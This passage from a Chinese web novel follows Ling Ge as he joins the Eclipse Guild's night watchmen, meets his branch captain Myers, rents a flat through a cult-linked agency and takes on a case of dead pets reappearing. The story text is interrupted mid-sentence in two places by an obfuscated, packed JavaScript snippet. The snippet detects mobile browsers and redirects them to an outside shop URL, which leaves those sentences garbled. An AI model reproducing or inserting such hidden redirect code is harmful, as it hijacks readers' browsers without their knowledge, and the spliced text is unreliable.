娜娜脸上带着笑容,扫过每一个新人,“你们的努力每天都会变成报告放在我的桌子上,我很高兴,日食公会有你们这样优秀的成员加入。” “我想你们已经期待这一天很久了,多余的废话就不再多说。” 娜娜收起笑容,严肃道:“佩戴徽章。” 各部部长从身旁的托盘里,拿起金属徽章为新人佩戴在左胸。 娜娜转过身注视挂毯,右手轻抚在自己胸前的徽章上:“宣誓。” 誓言早已经念诵过无数遍: “吾等愿以己身为烛。” “吾等愿以己身为烛——” “踏入黑暗。” “踏入黑暗——” “点不灭之火,照不屈之魂。” “点不灭之火,照不屈之魂——” “欢迎加入日食公会,守夜人们。” 仪式很简单,甚至简洁到没有想象中的惊心动魄。 可对新人们来说,仍然是一场意义非凡的仪式。 这代表他们此刻终于正式成为守夜人,也代表仪式结束后,他们就可以去后勤部领取自己的身份证件,立刻启程前往被分配到的各个分会中。 如果没有意外,守夜人将会在那个分会中一直坚守,直至死亡。 林格被卡法森叫到一旁,也没说什么事,直到人全部走完,才带着他来到娜娜面前。 “林格?”娜娜挑眉,“想不到我竟然能在死之前,见到只存在在理论中的灵魂。” 林格只能尬笑:“副会长好。” “叫我娜娜就行。” “你吓到小朋友了。”卡法森哈哈一笑,“刚在你面前参加完严肃的入会仪式,就让人如此亲近的喊你的名字,你好歹考虑一下他的心情。” “嗯?”娜娜微笑看向卡法森。 卡法森摊摊手,在嘴边比了个拉拉链的动作。 入会仪式确实严肃,可他们每个月都举行一次,并且重复了很多年后,自然可以快速调整好心情。显然,这个快速特指他们,他的上司并没有考虑到林格这只小雏鸟。 林格再次尬笑。 没想到,副会长这么平易近人哈。 就是这些话,他该不该听? 娜娜拍拍林格的肩膀,正色道:“长话短说,因为你灵魂特殊的原因,在你前往分会前,我们需要测试一下你眼中不同等级的危险物是什么样子,以及有什么样的表现。” 这个测试在林格刚被检测出来那天就该做的,只是一些特殊原因,这个测试被推迟了几天。既然迟了,林格又开始系统学习危险物相关知识,他们索性就继续推迟,把测试放在了他成为守夜人的这天。 中午吃完饭,林格拿上自己的行李箱,骑马离开庄园前往自己就职的分会。 8. 第 8 章 和往常的每一天一样, 早上六点,芬妮先开门拿下挂在门口,代表晚上依旧营业的油灯,和值夜班的同伴道别后,开始了自己新一天的工作。 身为分会的接待人之一,芬妮的工作其实很无聊。 一般危险物出现时的动静都很大,不需要人来特意举报,在附近的治安官和日食公会成员就会第一时间赶到控制局面。 从来举报的民众里获得真正的,有关危险物的消息其实非常非常少。大部分,都是一些令人无奈的假消息。 不过,今天有一件事还是值得期待的。 二十号,日食公会每月举行新人入会仪式的日子。 而这个月,他们分会终于分到了一个新人! 要知道距离他们分会上一个新人的加入,已经是两年前了。对此,芬妮非常重视,分会的人也是。 然而—— 十一点,处理完一起“有人来举报自己邻居一家被危险物感染行为举止异常,派人去往现场发现邻居只是兼职小偷,经常半夜偷偷组织聚会销赃”的日常事件后,芬妮放下手里的书,又看看钟表,自言自语:“怎么还没到……” 九点举行仪式,就算再磨蹭一会儿道别,两个小时也应该到了呀。他们分会距离总会可是只有二十分钟的骑马路程! “目前唯一的一个S级,也许是娜娜有事留他呢?” “难道小芬妮还想给总会发个报告,控诉一下新人的不准时?” 亚麻色卷发的男人懒洋洋的躺在单人沙发上用书盖着脸,双脚还随意的搭在茶几上乱晃。 “队长!你怎么又把脚放在茶几上!” 一直专心看书的芬妮,这才发现队长不知道第几次无视自己的警告,又把脚放在了不该放的地方。 “你这样,让进来报案的人看到很不好。”芬妮气呼呼,“非常不好。” 男人拿下书,一双绿色的眸子眯起,故意道,“请人帮忙抓小偷的人怎么会在意我的脚放在哪里?” 芬妮:“……” 看在队长把脚放下去的份上,芬妮哼了一声,重新拿起书。 一直到十二点过半,新人才终于到来。 熟悉的时间,熟悉的地点。 林格站在门口轻轻敲了下敞开的大门,迎着门内两人的注视不好意思道:“你们好,我是林格,今天来入职的守夜人。” “抱歉来晚了,在总会有事耽误了一下。” “林格!” 芬妮热情的冲到林格面前:“好久不见,没想到你被分到我们分会了,昨天我接到文件吓了一跳呢。” “你好。我是一队队长麦尔斯。欢迎加入我们。” 林格和麦尔斯握完手,就被这个自来熟的队长勾着肩膀,带到一旁的沙发坐下,芬妮一起落座。 打开行李箱,林格从里面拿出自己的就职文书和证件一起交给麦尔斯。 这两个都需要分会的负责人盖章。之后文书上交,证件是在外的身份证明,要自己保留并且随身携带。 麦尔斯早就准备好了,不然也不会特意在分会等候。 麦尔斯心情非常好:“以后你就是我们一队的一员了。” 这可是唯一一个S级,锻炼好了,以后一定可以起到大作用。 守夜人等级与灵魂强度等级相同,一般以小队为单位行动,每个小队有10到12人不等,队员等级不一,队长和副队长按照等级强弱竞选。 每个分会常驻三个小队,负责人在三个队长中选出,由总会盖章认定。 “芬妮就是我们一队的。其他人现在都在出任务,以后就会慢慢见到了。其他队的也是。”麦尔斯笑着补充:“二队的伊萨和莉莉丝你已经认识了,吉恩是三队的。” “你以后跟着我。” 林格点点头,“我会努力学习,不给队长添麻烦的。” 他现在纯萌新,自然是老鸟们说什么就是什么。 芬妮忍不住插话:“队长,林格现在就跟着你会不会太危险了?” 身为队长,A级的麦尔斯负责的任务哪个都不简单。林格身为毫无经验的新人,一来就参与这种难度的会不会勉强?像吉恩,两年前刚来的时候,一开始也只是和她一起在分会留守,从处理那些鸡飞狗跳的民众举报开始熟悉的。 这是标准流程。 麦尔斯看向没什么反应的林格,挑眉:“你的意见呢?” “谢谢队长愿意给我机会。” 林格对着芬妮认真道:“没关系的芬妮,我也想多进行一些挑战,快速成长起来,成为一名优秀的守夜人。” “那么——”芬妮握拳,满脸坚定:“林格加油,你一定可以的!” 她只是个D级,所以才会成为分会的常驻接待员。 “谢谢。”林格轻笑。 芬妮的好意与鼓励他收下了。 “入职之后,你最好在帝都租或买个房子。” 麦尔斯摸摸下巴:“资料上说,你一直生活在瓦森镇,那里离帝都不远,你对帝都熟悉吗?需不需 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352918|199630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要帮助?” 他们分会在帝都,虽然不用像接待员一样每天都呆在分会里,但如果有事的话,成员还是要来分会开会讨论,分享情报什么的,住在城内最方便。 位置上到没有什么限制,只要有钱有门路,就是住在皇宫都没有人管。 芬妮接话:“我也可以帮你。” 林格想了想:“我来帝都的次数不少,对下城区还是有一些了解的。租房的话,我可以找到靠谱的中介。” “好,那你自己处理。” 麦尔斯不再提帮忙的事,“今天把自己的事情全部处理好,明天早上八点,来我家里找我。” “好的,队长。” 林格向两人道别后,乘坐公共马车来到下城区。因为分会后院养不下太多的马,所以他来时骑的那匹寄养到了公会开设在车马行的店里。 帝都分为上中下三个城区。 这不是官方划分,是人们简化之后的统称。上城区是皇宫,官员住所和一些政府部门的总部所在的地方,中城区是繁华,充满了金钱味道的各类高档娱乐,文化与商业之地,有钱人遍地都是,下城区是普通人聚集的地方。 好久没有来过这种充满了喧闹与生活气息的场所,林格拎着箱子,一边走一边左右环顾。 最后,他选了几家看起来和善的老板,上去搭话询问知不知道哪些靠谱的中介店铺。 刚才在麦尔斯和芬妮面前,他完全是张口就来。 养父母在时,只会允许他和他们一起来帝都游玩,全程有人陪着,去的地方也很少,他怎么可能对帝都有什么了解? 会那么说,完全是因为他想起了一件被忽略的事情。 他好像是邪教送到日食公会的卧底啊! 只是从那晚的一面之后,他就再也没有得到过至高神教的任何指示,加上学习任务繁重,他就把这个身份抛到了脑后。直到麦尔斯问起住宿安排,他才猛然想起黑袍主祭给他塞过一张小纸条。 纸条上的内容是——维克德中介所。 为了防止他没有去,从而让至高神教觉得他已经叛变,宁肯错杀不肯放过,他还是很有必要去的。 去了,应该可以说明他还是至高神教的好备选吧。 这样算来,他在黑/道上也是有人了,至高神教的麻烦一般不会再找到他这儿。 维克德中介所在下城区挺有名气,林格问过的几人都提到过这家,据说诚信不贵质量还有保障。 也好,不用他再费心思找别的借口打听。 9. 第 9 章 维克德中介和一家旅店挨着。 店面不大,里面只有一个青年正支着脑袋在桌子上打瞌睡。林格敲敲门,青年被吓得一哆嗦,笔直的从座位上窜起来。 “你好,欢迎光临维克德中介所,请问有什么可以帮你?” 林格狐疑的打量一圈这个脸颊上被压出印子,满脸单纯的青年,说明自己的来意。 这真的是至高神教的势力之一? 难道是障眼法? “租房是吗?”青年连忙给林格倒水,“我叫罗恩,只负责看店。稍等一下,我喊负责人来和你沟通。” 不等林格说话,他就转身三两步消失在楼梯上。不一会儿,和一个长相普通的中年人一起下楼。 “你好,我是中介汤尼。” 汤尼脸上带着恰到好处的微笑,没有因为林格年纪小就有什么异样的表情。 “你有什么要求?请一定全部讲出来,我会尽自己所能帮你找到最合心意的房子。” 林格的存款不算多,只是在两重身份的加持下,为了以后方便他还是想奢侈的租一个独栋公寓。 楼房相对便宜,可住户太多,人多眼杂,他不想以后把时间浪费在处理邻里关系上。 说了自己的要求后,汤尼笑容更深,当即就拿出帝都地图给林格指了起来。 不同的地段有不同的环境,下城区也有很多吃不饱饭的。因此能住得起独栋公寓的人对下城区的普通人家来说,绝对是有钱的代表。 当然,和中城区这种真正的富人区比较,租金只能算便宜。 维克德中介确实如听说的那样有质量保证,给出的几栋公寓质量和价钱都很匹配。林格花了一个多小时实地看完,选了个中意的爽快签了合同交钱。 至于通过这种方式租房被至高神教放在眼皮子地下监视什么的,这种无所谓的小事直接可以忽略。 毕竟维克德中介所,在它的专业上真的很令人满意。 林格入住新房第一件事——换锁。 公寓附近各种小店种类齐全,不用跑太远的路就能买到日常所需。公寓有两层,家具虽然旧了点但是种类很齐全,目前不需要添置。换完锁,买了衣食住行要用到的各种东西后,林格又忙碌的收拾屋子直到深夜。 第二天一早,林格换上新买的衣服,精神奕奕的出门上班。 麦尔斯住在中城区金麦花街58号。 “队长早上好!” 林格活力满满。 林格笑容凝固。 说好的八点上班呢,眼前这个穿着睡衣,顶着鸡窝头满脸困倦的男人是谁? 他只是提前了五分钟而已,队长竟然还没有起床吗? 麦尔斯挠挠头发,打了个哈欠:“早,进来吧。随便坐。” “几点了?” 林格看看手表:“七点五十六。” “哦……还早,我先洗漱一下。” 林格:“……” 神奇的是,当八点整时,麦尔斯已经穿戴整齐坐在了林格对面。还自顾自的拿出一袋吐司一瓶果酱,让林格不要客气。 “我们呢,除了负责危险物相关的事情外,平时也会调查关于邪教的事情。” 麦尔斯挖了一大勺果酱在吐司上涂抹,“普通的自然有警卫所的人管,我们负责那些举行仪式的。” 林格点点头,表示明白。 非生物被转化成危险物的概率是很高没错,可这个概率是总结全国来算的。而危险物出没时又没有任何规律,公会这么多人不可能整天什么事情都不做,只为了等待它们出现。 所以除危险物外,排名第一的大陆毒瘤——各种邪教,自然成为了日食公会的目标。 邪教五花八门。 分类的话,大致分为两种。一种是偷偷摸摸搞崇拜圈钱的,另一种是偷偷摸摸搞崇拜圈钱举行各种仪式的。 这里的仪式不是简单的聚会,而是通过某种流程召唤邪教的“神”或者进行各种诅咒。这个不可理喻的世界,运气好还真的能够召出来点什么。 普通的有警卫所负责,日食公会负责的是去各种仪式现场,阻止或者探查有没有什么不可说的东西真的被召唤了过来。 “邪教在帝都这种地方就是下水道里的老鼠,一个个据点真真假假,比兔子的窝还多。” 麦尔斯又挖了一勺果酱抹在同一片吐司上,“那边茶几上有资料,你看一下。” 林格看麦尔斯一脸享受的咬了口满是果酱的吐司,被结结实实腻了一下。一口气喝掉半杯水,才拿了资料仔细阅读。 资料很少,只有两页,内容却让第一次见到这类事件的林格感到非常有吸引力。 林格:“难道是特殊危险物?” 麦尔斯点头:“很大概率。” 没有调查清楚见到实物前,一切都是猜测与大概率。 林格有些迫不及待,恨不得现在就坐上马车去调查:“队长,我们什么时候出发?” “请注意用词,只有‘我’,没有‘我们’。” “我自己?” 林格惊讶的看着麦尔斯。这位队长带新人的方式是不是太狂放了点,第一次派任务直接撒手不管了? 他就不怕自己撒手没? 麦尔斯打了个哈欠:“这份资料是两天前送到公会的,其他人的任务都排满了,也就我为了迎接新人有了点空闲时间,资料才能到我手上。不然这么简单的任务,平时放在会里都是要靠抢的。” “而我这个队长呢,非常关爱队员,现在就送你了。” 林格无语:“送?应该是专门留给我练手的吧。” “嗯,没错,就是特意为你留的。” 麦尔斯坦荡承认:“我们完成任务的也没有固定的过程,只要不违背法律与道德,你能想到的手段都可以使用。” “这个任务的答案已经摆到明面上了,你要做的,就是根据题目与答案,推出过程。这么简单,我相信你一个人可以的。” “我会努力。” 虽然被麦尔斯的放养模式惊到,但林格对第一次出任务还是充满了期待。 这是考验,也是自己朝目标迈出的第一步。 他必将成功。 “队长你呢?” “我当然有自己的事情要做。如果你有什么问题就来这里找我,如果我不在,写封信放在门口的信箱,我会及时回信。没什么大事我不会回公会,你随意。” “完成任务后记得写一份详细的报告,格式参考你手上的资料。” “还有什么问题吗?” 林格摇头:“目前没有。” 麦尔斯伸手指指大门:“出去记得把门带上。” 林格:“……” 出门在外,能依靠的还得是自己。 林格搭乘马车前往窄街。 下城区时不时会发生饲养的宠物或者牲畜丢失的案件。 有些是自己跑丢,有的是被偷,因为类似的事情太多, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352919|199630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那些小动物们又很不好寻找,所以下城区的治安官们对这些案件并不上心。要么敷衍的派人去现场查看一下,要么做个笔录就不再理会。 一个多月前,因为丢失各种动物的报案实在是太多,警卫所的人不得不派人专门调查了一下这件事。 可惜十多名治安官寻找了很久,也没有发现那些丢失的小动物的踪迹。守了许多天,既没有发现活物,也没有发现哪里多出来骨骼。 这很不正常。 人口原因,下城区的各种建筑间距都比较窄,住宅楼更是拥挤。谁家里多了点什么东西,又有谁行踪鬼祟,想要问出来简直不要太容易。 这次的案件,治安官们走访了很多人全都一无所获。总不能是他们集体说谎吧? 无奈之下,案件只能暂时压下,日常也多多盯着些。 直到半个月前,窄街的一家饭店失火。 火被扑灭后,原本在店的老板和店员全都不知所踪,店内没有发现人类的骨骼,反而发现了堆积如山的动物骨骼。猫、狗、鸡鸭…… 骨骼全部被彻底焚烧过。 店内失火的时间不可能有那么深的灼烧痕迹。出于谨慎,也是想弄清楚失火原因和老板潜逃的理由,警卫所把饭店彻底翻了一遍。 在后院,他们挖出许多被彻底焚烧后又敲碎的动物骨头。 数量已经到了巨量。 按照这家来往客人数量一般的饭店准备的菜量来说,是不可能有这么多骨头的。警卫所把这家饭店和前段时间丢失小动物的案件联系了起来。 逃跑的老板和店员还是被抓到了。 经过审讯,得知了两人的隐藏身份。 生灵教会的执事。 相当于一个班级里面的小组长。 两人都是执事,因为想要一起做贡献晋级,所以才鼓动手下的教徒们到处偷取小动物举办仪式。 尸体焚烧后的骨头不太好处理。烧又不可能烧成灰烬,他们只能把骨头彻底焚烧变脆后再一点点敲碎埋到后院。 没想到焚烧出了意外,油瓶不小心被撞了进去。火势控制不住,骨头又没有处理完,两人怕被抓到只能悄悄逃跑。 犯人被逮捕,案件经过也交代的明明白白,按理来说这件事到这里就结束了。可在犯人被抓的两周后,那些曾经报案家里小动物丢失的人家,再次来报案,并且声称自己在夜晚看到了死去的宠物或牲畜,还听到了响声。 一开始没人当回事,以为是有小偷或者别人家新养的,是隔音不好才传到了自己家。 然而持续了一段时间,大家各自对了一下后,发现事情变得诡异起来。 接到报案后,警卫所的人实地调查察觉确实不对后,连夜把资料整理好递到了日食公会。这种一看就不普通的事情,还是这边处理起来最专业。 林格在脑海中把资料过了一遍。 麦尔斯说的没错,这次还真是开卷考试。 这个世界的人类不具备特殊能力,排除掉人为,异象地点多而分散,排除仪式,最后只剩下危险物。 不是流传在普通人之间,人人皆知遇到即死的那种,而是一种会递一些具体到某种单一功能的特殊危险物。 和普通的只想一口吞,一次性把灵魂吃掉相比,特殊危险物是把你“养”起来,利用活着的你去感染更多的人,然后慢慢吃掉。 后者比前者高级,也更加隐蔽。 林格的任务,就是把这次感染的源头危险物找到并封存。